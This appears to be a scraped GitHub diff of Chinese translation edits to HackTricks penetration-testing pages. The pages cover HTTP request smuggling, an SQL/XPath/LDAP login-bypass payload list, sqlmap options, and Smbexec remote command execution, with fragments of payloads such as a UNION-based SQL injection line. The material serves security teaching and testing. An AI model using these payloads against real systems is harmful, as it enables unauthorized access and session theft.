在CL.TE攻击中,初始请求利用了`Content-Length`头,而后续嵌入请求则使用`Transfer-Encoding: chunked`头。前端代理处理初始`POST`请求,但未能检查嵌入的`GET /admin`请求,从而允许未经授权访问`/admin`路径。
|
||||
在 CL.TE 攻击中,初始请求利用了 `Content-Length` 头,而后续嵌入请求则使用 `Transfer-Encoding: chunked` 头。前端代理处理初始的 `POST` 请求,但未能检查嵌入的 `GET /admin` 请求,从而允许未经授权访问 `/admin` 路径。
|
||||
|
||||
**TE.CL 示例**
|
||||
```
|
||||
|
@ -335,11 +335,11 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续的嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽视了被走私的`GET /admin`请求,无意中授予了对受限`/admin`路径的访问。
|
||||
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续的嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽视了被隐藏的`GET /admin`请求,无意中授予了对受限`/admin`路径的访问。
|
||||
|
||||
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头信息,例如`X-Forwarded-For: <IP of the client>`,以将客户端的IP转发给后端。理解这些修改可能至关重要,因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
|
||||
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头部,例如`X-Forwarded-For: <IP of the client>`,以将客户端的IP转发给后端。理解这些修改可能至关重要,因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
|
||||
|
||||
要调查代理如何更改请求,找到一个后端在响应中回显的POST参数。然后,构造一个请求,使用这个参数作为最后一个,类似于以下内容:
|
||||
```
|
||||
|
@ -360,7 +360,7 @@ search=
|
|||
```
|
||||
在这个结构中,后续请求组件被附加在 `search=` 之后,这是在响应中反映的参数。这个反映将暴露后续请求的头部。
|
||||
|
||||
重要的是要使嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始,并逐渐增加,因为过低的值会截断反映的数据,而过高的值可能会导致请求出错。
|
||||
重要的是要将嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反映的数据,而过高的值可能会导致请求出错。
|
||||
|
||||
该技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
|
||||
|
||||
|
@ -390,17 +390,17 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
在这种情况下,**comment 参数**旨在存储在公开可访问页面上帖子评论部分的内容。因此,后续请求的内容将作为评论出现。
|
||||
在这种情况下,**comment 参数**旨在存储在公开可访问页面的帖子评论部分中的内容。因此,后续请求的内容将作为评论出现。
|
||||
|
||||
然而,这种技术有其局限性。通常,它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
||||
然而,这种技术有其局限性。通常,它仅捕获到在走私请求中使用的参数分隔符。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
||||
|
||||
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数。
|
||||
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
|
||||
|
||||
### 使用 HTTP 请求走私来利用反射型 XSS
|
||||
|
||||
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
|
||||
|
||||
* 不需要与目标用户进行 **交互**。
|
||||
* **不需要**与目标用户互动。
|
||||
* 允许在 **通常无法达到** 的请求部分中利用 XSS,例如 HTTP 请求头。
|
||||
|
||||
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
|
||||
|
@ -532,7 +532,7 @@ x=1
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
||||
如果这个被走私的请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
||||
|
||||
### 通过HTTP请求走私滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
|
@ -721,7 +721,7 @@ table.add(req)
|
|||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP模糊测试工具,有助于发现奇怪的请求走私差异。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||
|
@ -735,9 +735,9 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -751,7 +751,7 @@ table.add(req)
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,22 +8,23 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
此列表包含 **通过 XPath、LDAP 和 SQL 注入绕过登录的有效载荷**(按此顺序)。
|
||||
|
||||
使用此列表的方法是将 **前 200 行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,然后在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
|
||||
使用此列表的方法是将 **前 200 行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,接着在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -832,9 +833,9 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -848,8 +849,8 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@
|
|||
--proxy=http://127.0.0.1:8080
|
||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||
```
|
||||
### 获取信息
|
||||
### 检索信息
|
||||
|
||||
#### 内部
|
||||
```bash
|
||||
|
@ -151,7 +151,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
### Tamper
|
||||
|
||||
记住,**你可以用 Python 创建自己的 tamper**,这非常简单。你可以在[这里的第二次注入页面](second-order-injection-sqlmap.md)找到一个 tamper 示例。
|
||||
请记住,**您可以在 Python 中创建自己的 tamper**,这非常简单。您可以在[第二次注入页面这里](second-order-injection-sqlmap.md)找到一个 tamper 示例。
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
|
@ -207,9 +207,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@
|
|||
## 代理
|
||||
|
||||
{% hint style="info" %}
|
||||
如今 **网络** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
|
||||
如今 **网络** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要存在一个易受攻击的代理,但通常还需要后端的某些额外漏洞。
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**滥用 hop-by-hop 头**](abusing-hop-by-hop-headers.md)
|
||||
|
@ -99,7 +99,7 @@
|
|||
|
||||
* [ ] [**点击劫持**](clickjacking.md)
|
||||
* [ ] [**内容安全策略绕过**](content-security-policy-csp-bypass/)
|
||||
* [ ] [**Cookies 黑客**](hacking-with-cookies/)
|
||||
* [ ] [**Cookies 黑客攻击**](hacking-with-cookies/)
|
||||
* [ ] [**CORS - 错误配置与绕过**](cors-bypass.md)
|
||||
|
||||
### **绕过**
|
||||
|
@ -153,9 +153,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
|
|
@ -17,19 +17,19 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 工作原理
|
||||
|
||||
**Smbexec** 是一个用于在 Windows 系统上进行远程命令执行的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
|
||||
**Smbexec** 是一个用于在 Windows 系统上远程执行命令的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
|
||||
|
||||
### 关于 **SMBExec** 的关键点
|
||||
|
||||
- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来执行命令,通过 cmd.exe (%COMSPEC%),而不放置任何二进制文件。
|
||||
- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来通过 cmd.exe (%COMSPEC%) 执行命令,而不放置任何二进制文件。
|
||||
- 尽管采用隐蔽的方法,但它确实为每个执行的命令生成事件日志,提供了一种非交互式的“shell”。
|
||||
- 使用 **Smbexec** 连接的命令如下:
|
||||
```bash
|
||||
|
@ -55,9 +55,9 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用程序、网络和云
|
||||
**获取黑客对您的网络应用程序、网络和云的看法**
|
||||
|
||||
**发现并报告对业务有重大影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
Loading…
Reference in a new issue